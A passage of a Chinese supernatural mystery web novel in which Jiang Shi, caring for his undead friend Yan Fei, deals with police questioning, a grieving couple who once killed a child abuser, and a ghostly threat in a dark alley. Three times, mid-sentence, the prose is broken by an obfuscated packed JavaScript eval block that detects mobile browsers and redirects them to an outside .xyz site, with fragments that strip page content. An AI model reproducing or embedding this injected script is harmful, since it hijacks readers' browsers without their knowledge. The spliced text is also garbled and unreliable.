“你们想问我什么?”江时给人倒了可乐。 他和言扉平时只喝白开水和可乐,太久没回家,除了这个也没别的能喝。 吴队和蔼地看着他:“你好像并不意外我们来找你?” 江时实话实说:“江瞬今早和我说了发现尸体的事。” “那关于这件案子,你有什么可以告诉我们的吗?” 江时将当年自己看到的事,以及没能及时告知当初警方的原委都说了一遍:“……不过时间太久,我已经不记得埋人的人长什么样子,也不记得那时候到底是有几个人了。” “你小时候没法说话?”何照忍不住问了一句。 “不信的话你们可以找当年我做检查的医院查证,那会儿江家一直觉得我先天智力障碍来着。”江时无所谓地耸耸肩,他说的都是实话。 江时确实没必要撒这种容易拆穿的谎,于是又问了几个问题后,吴队带着两人起身离开:“感谢您的配合。” 虽然这么多年过去江时记忆不一定正确,但这些证词还是给他们带来了新的调查方向。 “不用谢,”江时送他们到门口,目光无害又真诚,“如果能帮到你们的话,那就太好了。” 电梯门刚一关上,何照就憋不住似的:“我靠,师父你看见没,就那张脸,我和楼月猜的肯定没错!” 楼月也赞同地点点头,江时那张脸都不输娱乐圈的明星了,小时候被变态盯上也很正常。 吴队无奈又头疼地看了他们一眼,他们到底记不记得自己来干嘛的? 徒弟都是债啊…… 目送他们走进电梯后,江时关上门转身。 他瘫着脸看向房间里面:“不是说了让你待在小区里别乱跑吗?” “……”房间走廊里没有开灯,一片暗沉沉的。 自阴影中走出来言扉身上还是那身实验服,身上的尸斑随着那块感染源放入他的身体已经消退了一些。 “你不回来,我出来找……”言扉很委屈地解释。 江时:“……” 算了,不该和失智的人计较。 不过被刚才警察一问,江时也突然有些好奇。 “言扉你记得十二年前我遇到你的那天,你家发生过什么事吗?” 言扉看着他,好像压根听不懂他刚才的话似的。 江时也就随口一问,言扉现在连自己是谁都不记得,怎么可能还对十二年前的事有印象。 再说言扉又不是哑巴,要是看见了什么当时就肯定会主动和警察说,除非—— 那人被杀藏尸的事,这家伙从一开始就知情。 是他想多了吧,江时晃晃脑袋,把这个猜想抛在脑后。 别说亲自动手杀人了,就连他从小都被言扉三令五申教育,除非威胁到了自己的生命,否则不许轻易下死手。 而且在那天之前无论和江家的谁都不认识,他没事趟这趟浑水做什么。 18. 无名巷(二) 家里唯一会做饭的言扉目前处于人工智障状态,别说做饭了,就连话都说不明白,而江时在初二第一次下厨就成功获得炸厨房成就后,就再也没单独进过厨房。 现在没人做饭,江时不得不一大早下楼买早饭。 “不许跟!”江时警告试图起身跟他一起出门的言扉。 虽然不知道昨天这货究竟是怎么从小区跑到家里的,但他身上的尸斑太明显,要是路上被人发现是具尸体那乐子可就大了。 言扉很听话地点点头。 在楼下早餐店习惯性买了两人份的江时这才想起来,言扉他能吃东西吗? 不管了,大不了留着当午餐。 付钱的时候,隔壁桌吃饭的聊着聊着突然就吵了起来,两人吵上头居然直接踢翻了桌子。 要不是江时反应快躲得及时,一盆滚烫的豆浆就直接浇在他腿上了。 “不好意思不好意思!”两人见状连忙停止争吵向江时连连道歉,“哥们你没受伤吧?” “……没关系。”江时不是很高兴地看着自己刚出炉就被泡了豆浆的鸡蛋饼和烧麦。 吵架的两人见状,连忙让早餐店老板再做了一份赔给江时。 “真的对不起啊,我们一下吵急眼了,就没注意……”两人一脸愧疚。 “没关系,我也没受伤。”江时非常善解人意地表示了谅解。 他本来只买了最简单的蛋饼和烧麦,但两人为了向江时道歉,让老板做了个至尊豪华版蛋饼,还多赔给了江时一笼汤包和蒸饺。 “你俩今天咋吃了火药似的,还动起手了呢?”早餐店老板显然认识两人,纳闷地边摊蛋饼边问。 “嗨,都是些没影的事。”一人不好意思地摆手道。 另一个人却不爽:“我表妹亲眼看见的,那还能有假?” 江时对此没什么兴趣,但他还在等鸡蛋饼,顺带也就把整个故事听完了。 大意就是几个年轻人组团包车跑荒郊野岭去,专程等着大半夜的功夫找了群野坟包搞灵异直播,本想装神弄鬼博个流量,结果装着装着发现不对劲。 镜头中某个坟堆后面居然真的探出了一张青白的脸,在夜色中冲着镜头露出了一个笑容。 “我妹说他们压根没准备那样的环节,他们去的所有人都在场,也不可能是有人私下搞事整蛊!”那人信誓旦旦,“绝对是撞鬼了没跑!” 老板忍不住提出疑问:“可能是有人刚好路过,看见他们在那儿直播就开个玩笑?” 这年头,啥抽象人类没有啊。 “不可能,我妹说当时几个胆子大的就跑坟堆后面了,结果压根没人!” 他的同伴一脸不信:“这段时间网上天天都有人说碰见灵异事件,一个个编得有鼻子有眼的,世上哪儿来这么多鬼啊。” “说不定都是真的呢,”那人却依旧坚持,“要真是做戏或者搞封建迷信的话,这么久了怎么平台都没封他们号?” “没火起来呗,什么年代了都,灵异直播本来就没啥流量,平台估计也懒得管,你还真当这是小说,难不成马上要灵异复苏了?” 他似乎是觉得同伴固执得不可理喻,于是看向江时试图获得认同:“哥们你觉得呢,难道网上那么多人放出来的照片视频也都是假的?这肯定是真的!” 已经断网好几个月的江时礼貌地笑了笑:“谁知道呢。” 灵异事件而已,有什么好稀奇的,死人变成的怪物他三天两头见,家里现在还有个能动的呢。 恰好这时江时的鸡蛋饼好了,他接过热气腾腾的蛋饼,立马带着自己多灾多难的早饭离开了早餐店,生怕慢一步这两个家伙又打起来牵连他的蛋饼和烧麦。 —— “言扉,你现在能不能吃东西?”江时进门后就习惯性将房门反锁。 言扉依旧保持着他出门时的姿势,安静地坐在沙发上一动不动。 不知是不是江时的错觉,言扉扭头看向他的时候,肢体好像比之前更加僵硬了些。 江时把早饭随手丢在桌上,走到沙发前伸手掐了把言扉的脸:“真的变硬了。” 看来那颗晶石还不足以维持言扉的生命,还是得继续…… “江时,”像是看出了他的想法,言扉突然伸手按住江时,用已经开始僵硬的面部肌肉做出了一个类似于严肃的表情,“很危险!” 听到这话,江时眯起眼:“你恢复了?” 言扉继续认真地对他重复:“很危险,不要……” 看起来是没恢复,大概是某种本能让他阻止江时尝试作死。 两人就这样僵持了好一会儿,言扉首先眨了眨眼垂下视线。 “谁让你莫名其妙差点把自己命都送了。”江时觉得自己无聊得快要长霉了。 休学手续办好了,言扉现在又没有任何好转的迹象,要是不让他出去找那些异变的麻烦,难不成这一年时间就只找兼职赚钱或者在家躺平吗? 江时伸手用力揪着言扉已经发硬而不似活人那样具有弹性柔软的脸皮:“告诉我,到底要发生什么了,你说和我们一样的人是什么东西,你找他们究竟要做什么!” 话只说半截的家伙都应该被寄刀片!没人可以在他这儿当谜语人——没!有!人! “快了,”被江时扯着腮帮子,再加上舌头也开始僵硬,言扉说话有些困难,“时间快到了。” 但这显然没能说服江时,他很不高兴地继续蹂躏言扉的脸,大有把对方的脸当解压玩具的意思。 言扉也没反抗,任由他拿自己的脸出气,直到江时的手机铃声突然响起,打断了他继续“施暴”。 又是陌生来电,江时甚至都懒得听,但对方还是锲而不舍地打过来,连续挂断了五六次后,江时干脆把这个号码直接拉黑了。 没过几分钟,又是一个陌生号码。 江时:“……” 没完了是吧? 他接通了电话,本想等对方开口再骂回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664976|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但对面传来的却不是想象中的辱骂。 “你、你好,”对面是一个中年女人的声音,语气中带着些不安,“是言扉先生给我们的号码,那天他说这段时间我们会联系不上他,有事可以打这个电话。” 言扉给的?江时若有所思地看了眼旁边乖巧坐着基本上已经失去智商的言扉。 “不好意思,我刚才以为是骚扰电话,请问有什么事吗?” “我……”对面似乎想说些什么,但似乎是太过紧张,好一会儿都没说出个所以然来。 江时等了好一会儿,干脆主动开口问他们:“他什么时候和你们说可以打我电话的?” 纠结不知道怎么开口的女人连忙答了个日期。 江时眯起眼,是言扉看到那张几乎全标红的地图打开那份文档的隔天…… 难道那个时候,言扉就知道自己要出事了? 那就很有意思了。 江时善解人意地给对面解围:“电话里不知道该怎么说的话,不如我们约个时间当面谈?” 她连连应好,定好下午见面的时间地点后,江时就挂断了电话,看向依旧一脸失智表情的言扉。 对方找言扉究竟是有什么事,江时目前并不感兴趣,毕竟言扉啥都没和他交代过,他能知道些什么。 但在这种他三天两头接到骚扰电话的情况下,言扉把他电话留给别人不可能不提前和他说一声。 这应该是言扉留给他的信号,让他不要担心的意思? 可虽然研究所给出的死因绝对是假的,言扉心口的贯穿伤和消失的心脏可以证明这绝对不是意外事件,但是伤亡人数是真的。 那场至今未公布真实原因的“意外”让整个研究所无人幸存。 就算死亡真的在言扉的计划内,按他的性格也不可能眼睁睁那么多普通人遇难。 言扉大概确实有相关的计划,不一定是让自己直接死了,或许是失踪受伤昏迷之类的,而留下信息是为了不让江时担心。 这样才比较符合他的行事作风。 不过言扉似乎并没有等到自己的计划开始实施。 言扉的武力值并不弱,他和江时一起从小隔三差五招惹各种试图狩猎路人血肉的异变,有时候下手甚至比江时还黑。 但江时检查过,他身上只有摔倒的轻微擦伤,也就是说言扉当时连反击都没来得及就被人刺穿了心脏,死后心脏又被挖走。 要么对方强到离谱,言扉连反击都做不到,要么那致命一击是来自言扉一个压根没有想到,也没有任何防备的人…… 这就要回到最初的那个问题了,研究所给出的所谓“意外死亡”,究竟是什么意外? 他们究竟想要隐瞒些什么呢? 江时的眼睛微微眯了起来,食指有一搭没一搭地敲着自己的下巴。 有点儿意思。 不过要是这些人没有牵连到他唯一的共犯——没有牵连到言扉的话,他可能会觉得更有意思呢。 19. 无名巷(三) 江时和打电话那人约好见面的地点是一家小饭馆。 但他到的时候,店门却是关着的。 门口坐着一对头发灰白面容愁苦的夫妻,看见江时眼睛亮了亮赶忙起身问:“是江时先生吗?” 江时点头:“是我。” 夫妻二人这才拉开卷闸门,等江时进来后又关上门,挂上了今天休息的牌子。 这个巴掌大的小饭馆里,最显眼的位置放着一张全家福。 照片上年轻夫妻抱着两个八九岁的孩子,应该是对龙凤胎,一家人满脸笑容,眼里满满的幸福和期许几乎要溢出来。 见江时注意到那张照片,满面沧桑的女人露出一个怀念的笑容:“那会儿我俩在工地上干活,天都黑透了才到家,他俩懂事得很,每天都自己上学放学写作业,晚上还给我们留饭。” 说着她忍不住又看了相框里笑得无忧无虑的儿女一眼。 照片里高大的男人如今满头灰发身材佝偻,他搬出椅子后,又从厨房里翻出一包真空包装的茶叶冲泡好,小心翼翼地端给江时。 “谢谢,”江时接过茶水,看向坐在他对面的夫妻二人,“你们找言扉有什么事呢?” 夫妻二人嗫嚅半天,丈夫李志才下定决心开口:“这事儿得从十二年前说起。” 十二年前? 江时立刻想起那具埋在喷泉下面的尸体:“埋在喷泉地下那人是你们杀的?” 李志和吴丽显然被江时一秒猜到吓了一跳,但还是承认了。 浑浊的泪水自眼眶中涌出,李志颤着声开口:“所有人都知道是他干了畜生事,但他们却都来欺负我闺女,都骂她……” “都怪我们当时掉钱眼里了,想等几个月手上或干完了,工钱发下来带他们到别的城市能上个好点儿的学校,”吴丽用力抹了把眼泪哽咽道,“那天在学校,她哥哥看见有人欺负小妹,就冲上去和人打架,打着打着不知道是谁推了一把,他就从三楼翻了下去,头磕在花坛上脑浆流了一地没了气,小妹也被吓疯了。” 儿子没了后,两人更加起早贪黑地干活,省吃俭用攒钱想带女儿去A市大医院治病。 直到几年后,他们跟着包工头接到了言家后花园翻修的工程。 “我们一开始真的没想杀人。”吴丽伸手捂住脸,泪水却还是止不住地往外淌。 那天中午,其他工友都去吃饭了。 他们找了个阴凉偏僻的角落休息,正纠结着是该买一份五块的盒饭分着吃,还是奢侈一点儿买两份的时候,隔着围墙却听见他们那个死也忘不了的恶心声音。 “虽然都是小男孩,不过长得唇红齿白的……”那畜生似乎在和谁打电话,从他嘴里吐出的每个字都让夫妻俩作呕,“我姐夫前妻留下的两个儿子都长得和小姑娘似的水灵,而且一个病鬼一个哑巴,我姐夫也没把他们放心上。” “隔壁和对门家里天天没大人,小孩子还不好骗?拿两包零食就能哄出来,到时候吓唬一下,保准他们不敢乱说……” 听到这里,李志和吴丽立刻联想到自己惨死的儿子和疯癫的女儿,骤然起了杀心。 这个畜生不仅没有丝毫悔意,甚至想继续伤害别的孩子! 江时听到这话,表情有些微妙。 听起来江瞬是病鬼,他是哑巴,隔壁别墅是言家,对门则是黎钺。 好家伙。 就算那傻逼不可能得手,江时还是感到一阵恶寒。 “所以你们也知道,那具尸体最近被翻出来的事了?” 李志点头:“言先生他前段时间就和我们说了那栋房子可能快要被翻修的事。” 但是当警察找上门来的时候,他们还是遏制不住的感到了恐惧。 杀了那个畜生后,愤怒的头脑才冷静下来,他们开始害怕要是他们被警察抓走,女儿会没人照顾。 慌乱之下,两人这才发现,居然有人目睹了这一切。 那个看起来不过十岁的男孩坐在二楼阳台栏杆上,在月光下垂下眼看着他们时,神情甚至带着些许悲悯,像是神龛中慈悲却又无情的神像。 “你们为什么要杀人呢?”男孩的语气没有丝毫恐惧和愤怒,只带着纯粹的好奇。 李志和吴丽心知自己是逃不了,自暴自弃下干脆将对方做过什么事,以及儿女的遭遇告诉了言扉。 不过在上网搜索了一遍,确认他们并没有忽悠自己后言扉却没有报警,而是教他们如何清理现场,还用一壶开水把自家监控存档都归零了,甚至很热心地包了售后。 江时:…… 还真就和他有关系啊。 不得不说,这真是非常符合言扉人设的一集呢。 “那你们打电话干什么?”江时有些困惑,这不是都解决了吗,难道警察找到了什么对他们不利的证据? 夫妻俩对视一眼,李志看着他苦笑道:“杀了人,就得坐牢挨枪子,我们没读过什么书,但也知道这个道理。” “说是担心小妹没人照顾,可她早就没了,我们却还是不敢自首。”吴丽有些难堪地垂下头,“昨天警察找上门来,我们就想着要是这次躲不过去的话,那就不躲了……” 在这对人生前三十多年一直忠厚本分的老实人眼中,他们逍遥法外的行为和那个畜生一样卑劣可憎。 但他们还是不敢自首,怕死,也怕坐牢。 于是二人想着,如果警方真的能查到他们身上,那就是命吧。 “我们只是想当面感谢言先生,”李志伸出粗糙开裂的手,握住妻子同样布满沧桑的右手,“好歹让我们陪闺女好好过了几年。” 虽然没能清醒过来,但在最后那段时间里,他们陪女儿去了她从小想去的游乐场,给她买了一直想要的娃娃,竭尽所能让她能快乐些。 江时点头:“我会转告他。” 两人连连道谢。 或许是因为觉得就为了传个话让江时跑这么远不好意思,夫妻俩本想打算开火给他做顿好菜,让人吃了晚饭再回去。 江时出门前就已经决定了今晚要吃泡面炸鸡淀粉肠大餐加饭后快乐水,好不容易言扉没法管他吃垃圾食品了,谁都别想阻止他! 不过他嘴上还是很礼貌地回绝了。 走出小饭馆,江时看着他们似乎是要往旁边一条连照明路灯都没有的巷子进去,忍不住问道:“路这么黑,你们不带个手电筒?” 李志摆摆手:“不用,这路我们都走十多年了,闭着眼也能到家。” 过去为了攒钱节俭成了习惯,就算现在已经没必要了也改不过来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664977|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江时也没再劝,垂下眼在外卖软件上下单今晚的炸鸡外卖,一边往最近的公交站台走去,默默在心里祈祷能赶上末班车。 没走多久,他突然停下脚步,回头看向那条黑暗幽深的小巷。 那双浅色的眼睛微微眯起,像是发现猎物的狐狸,又像察觉危险的猎豹。 —— 夫妻俩走在漆黑的巷子里,不知道是不是因为心理原因,他们总觉得今天的巷子特别长,也尤其黑。 “……” “老李,你听见什么声音没?”吴丽突然觉得周围似乎有什么声音。 “有吗?”李志困惑地侧耳和妻子一起听。 耳边的声音逐渐清晰,稚嫩清脆的童声在幽深危险的小巷里响起,伴着银铃般的笑声唱起了儿歌。 “丢,丢,丢手绢,轻轻地放在小朋友的后面……”声音在空旷幽深的巷子里回荡,让孩童们天真无邪的歌声都带上了几分诡异气息,令人莫名后背发毛。 “大家不要告诉他。”吴丽忍不住跟着哼了起来。 “这是谁家的孩子,大人也不看好!晚上巷子里这么黑,遇到危险怎么办?”李志眉头紧锁,正要上前呵斥,却突然被妻子拉住。 “老李!”吴丽语气慌乱又激动,“我好像听见梦梦和想想的声音了!” 梦梦和想想,是他们那对不幸夭折的孩子。 李志认为妻子肯定是出现幻觉了,却听见耳边传来久违的熟悉呼喊声—— “爸爸……妈妈……” 伴随着孩子的呼声,两人神色逐渐恍惚。 但就在目光彻底涣散前,他们的影子猛地扭动了一下,倒反天罡地硬拽着本体后退了半步。 见即将上钩的猎物似乎要逃,那声音突然急促起来:“爸爸妈妈,我们好痛啊,来接我们回家好不好?” 夫妻俩听到孩子哭喊,立即就红了眼眶,原本清明的目光再度涣散:“好,好,爸妈就来!” 面前不知何时出现了一条岔路,他们甚至在这条岔路的最深处,隐约看见了两个孩童的身影…… 就在他们即将踏入时,突然有人从身后拍了拍他们的肩膀。 “醒醒。” 两人回过神来,发现面前只有一道被贴满了小广告的老墙,而他们刚才正要往墙上撞。 江时拦住他们的找死行为后,若有所思地盯了那面墙一会儿,收回目光对着两人笑了笑:“你们是不是这两天压力太大了,居然往墙上撞?” 两人刚想辩解,但又没法解释刚才的撞墙行为。 在江时再接再厉一顿忽悠下,夫妻俩成功被他说服了,并表示这段时间会好好休息。 确认他们安全走远后,江时立马转身,脚步飞快地离开。 开玩笑,他才差点把自己捅了个对穿,当前的战斗力约等于0.5个阿毛,不赶紧跑等那玩意儿反应过来把他弄死吗,要不是担心被后面那玩意儿发现他心虚,他甚至想用跑的。 可惜调查局没有报警热线,否则他大可以直接打过去,让专业人士来处理这东西…… 嗯?谁说没有? 江时右手握拳锤了下左手掌心,立马翻出手机打开通讯录。 嘶—— 让他想想,当初给黎钺的备注是什么来着? 20. 无名巷(四) “你压根想不到那群王八蛋有多畜生!”黎钺激动地拍着桌子,“一周之内我加了五次班!五次班啊!” 最重要的是,这他大爷的还不是他辖区,连加班补贴都批不下来! 江瞬神色凝重地看着黎钺摧残他最喜欢的紫檀木茶几。 就在江瞬忍不了要动手的时候,黎钺的手机铃声响了起来。 接通后听到对面是江时的声音而不是让他加班的“白泽”,黎钺甚至有些感动:“江时?你找我有事?” “没什么,就是想起你下属说你们是专门处理异变的,”成功赶上末班车的江时坐在最后面靠窗的位置,看着窗外懒懒散散地说,“我今天出门又碰见你们说的异变了,定位发你记得早点去,小心晚了出人命。” 虽然江时时不时坑他,但还是知轻重的,不至于拿这种事开玩笑,于是黎钺陷入了诡异的沉默。 他大爷的,怎么还是加班! 江时完全无法理解黎钺对于即将加班这件事的悲愤,还在继续说:“哦对,还有件事,言扉家以前那房子翻修,结果翻出了具尸体的事你知道吧。” “知道啊,”黎钺疑惑,“怎么了?” “哦,就是有点儿事你可能不知道……”创完黎钺,并嘱咐他一定要准确且全面将这件事转述给江瞬后,江时神情轻松多了。 不能只有他和言扉被恶心到,这两个家伙也别想跑! 眼看黎钺的表情从轻松到生无可恋,然后逐渐神色恍惚,像是受到了什么巨大的刺激。 江瞬好奇地问:“他说了什么?” 黎钺目光呆滞地抬头看向他,张了张嘴…… 三分钟后,江瞬端庄的笑容濒临破碎。 靠,他耳朵脏了! “你在想什么?”黎钺向来直觉敏锐。 在想有没有什么办法能绕过警察,他想鞭尸,江瞬满脸麻木。 艰难地调整好表情后,江瞬抬眼看向他:“江时就说了这个?” “不是,他举报了个危险分子,让我加班解决一下。”黎钺不爽地编辑了消息给“白泽”发过去,早知道他就该今晚飞回S市。 也不知道这个异变生物是什么评级,反正总不会又是A吧,高级异变又不是大白菜,还带批发的。 不过这次“白泽”回复的很快,黎钺眼睛微微睁大,露出惊喜的表情。 见黎钺刚起身又坐下,江瞬疑惑地偏过头。 “N市分局的人终于回来了!”黎钺满脸轻松,“老子再也不用帮他们加班了!” 虽然十三组拉胯,但“白泽”显然不是吃素的,在他接到江时电话前就已经发现了异变活动的迹象,早就已经派出了总算归队复命的十三组前去处理! 本来黎钺急着回去是为了参加言扉尸体被扣押后失窃的调查,但是因为被迫留在N市一周,上面已经让四组组长白杨和八组组长带人组成调查组了。 而他的辖区也向来平静,没必要急着回去。 “说起来,言扉出意外后,我还以为江时会很不适应呢,看来是我太低估他了。” 当时在言扉葬礼上,除了担心再没人能管住江时这个危险分子外,作为塑料发小他还是有点儿担心江时的日常生活的,毕竟从前江时从前衣食住行基本上都是言扉一手包办。 言扉这人性格极其温和,有时甚至好说话到让人血压飙升的地步。 上学的时候,他亲眼见过有混混勒索言扉,而这货居然就完全不反抗地把自己钱包交出去了,甚至还贴心地问对方钱够不够,要是够了的话,可不可以不要再勒索其他学生。 听到黎钺的话,江瞬却眉头微微抽搐。 他看从来都不配合他剧本有时还把他当傻逼神经病的江时一直不顺眼,但对言扉更多的则是恐惧。 从某种程度上说,言扉是个非常温柔善良乐于助人的人。 江瞬心中的剧本中何时需要怎样台词和表演才会让演出更加富有戏剧性,言扉甚至比作为编剧的江瞬自己更清楚,甚至会很热心地主动帮他优化剧情。 但这举动简直令人后背发寒,可偏偏言扉自己好像完全意识不到,比起他来,只是不配合自己剧本演出的江时简直不要太可爱! 江瞬脸上却完全看不出端倪,依旧一脸端庄笑容:“那确实是你想错了,就算离不开,那也不是江时离不开言扉。” “啊?”黎钺一脸懵。 “要是江时真的离不开言扉,高考时怎么会报本地的S大?”江瞬无奈道。 言扉工作的研究所在H市,从N市坐高铁过去都得四个多小时。 “呃……”黎钺回忆了一下。 江瞬继续道:“而且这么多年来你没有发现吗,他和江时待在一起的时候,绝大部分人第一眼都不会注意到他,但如果他不在江时身边,你却一眼就能发现。” 所以才会让人产生一种,似乎江时离不开言扉的错觉。 “好像是这样,”明明言扉也不是什么存在感低的小透明啊,黎钺挠挠头,“简直就像……” 他一下想不到适合的形容词。 “影子,”江瞬语气淡淡的,“他就像是江时的影子。” 密不可分,不可或缺。 “这两个家伙果然都是怪胎,”黎钺对这个描述深以为然,“不是说物以类聚人以群分吗,为什么我们会和这两货是发小?” 这么多年下来他们居然也没绝交,真是离了个大谱。 江瞬抿了口茶水微微一笑,对此并没有发表任何意见…… —— 把异变的事告诉黎钺后,江时就没再关注这事儿。 既然已经反馈相关部门,当然轮不到他一个普通市民再操心。 他这几天在操心别的。 “啧,天气开始变热了,再过几天别开始发臭了吧。”江时略带担忧地拎起言扉的袖口晃了晃他的手问,“你介不介意待在冰箱里?” 主要是言扉坚持要跟着江时,不肯回小区去,江时作为一个活人也不能住在小区里,而“它”又不可能跑到外面一直给他俩住的房子制冷。 言扉也不知道听懂了没有,一言不发地坐在沙发上。 “默认就是同意了!”江时立刻在购物软件上搜索冰柜,看到能放进一个成年男人的冰柜价格和耗电量后,贫穷的休学大学生倒抽了口冷气迅速退出软件。 让他先冷静一下…… 五分钟后,冷静下来的江时看着安静坐在沙发上盯着他的言扉,开始思考把人绑起来强行把人丢小区房间里,让“它”能一直制冷保鲜的可能性。 原本一动不动的言扉突然起身。 江时瞬间警惕,这货猜到他要干嘛了? 言扉转身直直地朝自己房间走去,两分钟后从房里出来走到江时面前伸出右手,修长漂亮却毫无血色甚至有些发青的手上安安静静地躺着一张银行卡。 “可以用这个,密码是江时的生日。”言扉将卡递给他,然后回到沙发上继续安静盯着江时看。 过了好一会儿,江时终于抬头看向言扉那张温润俊秀的脸,表情非常平静:“其实你是在忽悠我吧?” 之前跟这货不管说话还是问他话都和人机似的,怎么这种时候反应就这么快? 言扉像是没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664978|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他在说什么似的:“……” 安静继续盯 jpg. “笃笃笃!”就在江时打算严刑逼供的时候,外面突然响起了敲门声。 江时透过猫眼往外看,却发现是前些天来找过他的三位警察。 这几天他很有警察缘吗? 不过他总不能不让他们进来。 “言扉,藏好。”江时扭头发现这货已经只剩半个脑袋露在外面,脑袋彻底没入阴影前还不忘冲他眨眨眼。 “……” 这货绝对是在和他装傻! 江时打开门让他们进来,坐下后疑惑地看向三位警察:“请问还有什么事吗,我能记得的也就那么多,都告诉你们了啊?” “不是这件案子,”年轻女警楼月严肃地问,“请问前天晚上九点到昨天凌晨四点之间这段时间,你在哪里做什么,有什么证据或证人可以证明吗?” “前天晚上九点我在小区门口的小摊买夜宵,旁边便利店门口的监控应该拍到了,”从他们的态度中,江时已经感觉到了有什么不对劲,“然后我就回家吃完夜宵睡觉了,第二天早上十点才起床,期间都在家没出过门,小区里面的监控也能证明。” 示意何照去走流程调监控后,吴队从口袋里掏出一张照片:“我们这次来是想问,你和这两个人是什么关系?” 照片上的人是李志和吴丽夫妻俩,不久前才见过,江时还记得很清楚。 他们这么快就被警察查到了? “没有关系,”江时摇摇头,“但是几天前我和他们见过,他们打电话给我,说有事情要和我说。” 他又不是什么犯罪天才,也没受过专业训练,没事儿和警察玩心眼子和找死有什么区别,而且事情本来就和他没关系,还不如实话实说。 而且就算真的被人破了脏水当成犯人解释不清楚,他也能让小苏他们偷偷把他捞出去。 “既然没有关系,那他们怎么会有你的联系方式,还能把你约出去?”楼月显然不信江时的说法,“而且我们调查过,最近一段时间,你应该不敢随便应陌生人的约才对。” 确实,这几个月江时连陌生号码都不太愿意接,更别提主动应陌生人的约了。 江时如实以告:“联系方式是我最好的朋友给他们的,我朋友告诉他们联系不上他的话可以找我,所以我才会去见他们。” 最好的朋友? 吴队眉头紧锁,继续询问:“他们找你的那位朋友有什么事?” 江时眨了眨眼,神情中已经带上了戒备。 “我能问问发生了什么吗?” 吴队目光凌厉地盯着江时,似乎是要将他任何一点儿细微的神情动作都收入眼底。 他一字一顿地开口:“今天早上,他们的尸体被人发现在了离家五公里外的一条巷子里,死状凄惨……” 死状凄惨,被发现在巷子里,难道调查局的人没有去处理掉那个异变? 江时一言不发地看着吴队,显然是在等他继续往下说。 “他们在死前唯一的异常之处,就是几天前和你见了一面,”吴队见状语气诚恳道,“那个将你的联系方式交给他们的朋友很可能掌握了和案件相关的信息。” 可江时还是摇头。 “你们见不到他的,他们两个的死也肯定和他没关系。” “为什么?”两位警察显然不是很满意江时这个回答。 江时垂着眼轻声道:“一个月前,H市一所人工智能研究所发生意外导致当天的工作人员全部身亡,他那天就在那里。” “所以,这件事不会和他有关系的。” 21. 无名巷(五) 虽然言扉已经死了,但三名警察还是询问了相关问题,在得知言扉居然是那栋房子从前主人的孩子时,两位年轻警察都露出了吃惊的表情。 何照动作很快,已经拷贝了相关监控录像回来,确认了江时不在场证明非常充足。 吴队仍保持着严肃的表情问:“可以问问,他们究竟和你说了什么吗?” 江时摇头:“没什么特别的,我没告诉他们言扉已经死了的事,他们让我和言扉说一声谢谢。” “谢谢?”何照疑惑追问,“为什么?” 江时奇怪地看了他一眼:“我怎么知道,他人都死了,我找谁问去。” 何照和楼月:“……” 好吧,说得很有道理。 不在场证明非常充分,江时甚至压根算不上有嫌疑,而且对方对他们的调查也很配合,就连那天回家乘坐的公交车车牌号都报给他们了。 “你没事儿记这个做什么?”楼月不解。 倒不是怀疑江时的意思啦,就是觉得很诡异,真的有人会特意去记自己坐的哪辆公交车吗,而且这都过了一星期了,居然还记得? “不能记?你们不是说要当时细节的吗?”江时比她更加不解。 细节确实需要,但也不需要细节到这种地步。 三人相顾无言,算了,尊重每个人的习惯喜好。 “抱歉,打扰你了,”吴队记下了江时的证词后,思考着这起案件是否应该和之前挖出尸体那起案件合并调查,起身和江时握手打算带两个徒弟离开,“感谢你配合调查。” “感谢就不用了,我是真心希望几位能尽快破案。”江时表情非常真挚。 毕竟应该没有人会喜欢一周内连续被警察找上门两次吧,江时猜这样下去,很快就会有新的关于他的谣言诞生了。 比如假少爷被戳穿身份后贼心不死,做贼心虚竟做出这种事之类的。 三名警察离开后,言扉就立刻又从影子里钻出来坐在了江时旁边,动作快到他再一次怀疑这货就是在装傻驴他。 不过想了想觉得言扉应该没这狗胆,江时就懒得管他。 【江时:顾学姐,请问你有空吗?】 能查出当时叶杜两家的事,甚至锁定文芜菁的死亡时间,至少说明顾蕊搜集信息是有一手的,他想试试能不能让顾蕊帮忙查查这件事。 他难得好心救下来的人还没两天就死了,这让江时现在很不爽。 【顾蕊:啊,最近几天吗?那可能不行诶,我现在手上的事还挺要紧的……】 【顾蕊:如果你不着急的话,我下周帮你查?】 【江时:不用了,也不是很着急,谢谢学姐。】 既然顾蕊在忙,他就不打扰对方了。 江时犹豫了一会儿,还是没再找黎钺问问情况,这货虽然直觉灵敏脑子也不笨,但正义感强同理心重,日常状态下就是个纯粹傻白甜。 